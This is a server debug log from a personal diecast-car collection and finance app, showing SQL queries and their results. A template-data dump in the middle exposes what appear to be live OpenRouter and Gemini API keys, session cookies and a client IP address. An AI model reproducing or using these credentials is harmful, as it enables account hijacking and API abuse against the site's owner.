  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T04:58:41.062Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T04:58:41.063Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T04:58:41.064Z server-connect:app Executing action step identify
2026-02-04T04:58:41.064Z server-connect:app options: { provider: 'security' }
2026-02-04T04:58:41.064Z server-connect:output identity: 1
2026-02-04T04:58:41.064Z server-connect:app Executing action step restrict
2026-02-04T04:58:41.064Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:58:41.065Z server-connect:output restrict: undefined
2026-02-04T04:58:41.065Z server-connect:app Executing action step select
2026-02-04T04:58:41.065Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T04:58:41.066Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 20,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:58:41.067Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T04:58:41.067Z server-connect:app Executing action step select
2026-02-04T04:58:41.067Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T04:58:41.068Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T04:58:41.068Z server-connect:app Executing action step select
2026-02-04T04:58:41.068Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T04:58:41.068Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T05:25:04.651Z server-connect:router Serving templateView /collections
2026-02-04T05:25:04.651Z server-connect:app Executing action step identify
2026-02-04T05:25:04.651Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:04.652Z server-connect:output identity: 1
2026-02-04T05:25:04.652Z server-connect:app Executing action step restrict
2026-02-04T05:25:04.652Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:25:04.652Z server-connect:output restrict: undefined
2026-02-04T05:25:04.652Z server-connect:router Render template masters/collections
2026-02-04T05:25:04.653Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T05:25:04.900Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-04T05:25:04.901Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:04.901Z server-connect:app Executing action step identify
2026-02-04T05:25:04.901Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:04.901Z server-connect:output identity: 1
2026-02-04T05:25:04.901Z server-connect:app Executing action step restrict
2026-02-04T05:25:04.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:04.902Z server-connect:app Executing action step identify
2026-02-04T05:25:04.902Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:04.902Z server-connect:output identity: 1
2026-02-04T05:25:04.902Z server-connect:app Executing action step restrict
2026-02-04T05:25:04.902Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:04.902Z server-connect:output restrict: undefined
2026-02-04T05:25:04.902Z server-connect:app Executing action step select
2026-02-04T05:25:04.902Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-04T05:25:04.903Z server-connect:output restrict: undefined
2026-02-04T05:25:04.903Z server-connect:app Executing action step paged
2026-02-04T05:25:04.903Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:04.905Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-04T05:25:04.907Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 184,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T05:25:08.947Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:08.947Z server-connect:app Executing action step identify
2026-02-04T05:25:08.947Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:08.948Z server-connect:output identity: 1
2026-02-04T05:25:08.948Z server-connect:app Executing action step restrict
2026-02-04T05:25:08.948Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:08.948Z server-connect:output restrict: undefined
2026-02-04T05:25:08.948Z server-connect:app Executing action step paged
2026-02-04T05:25:08.949Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
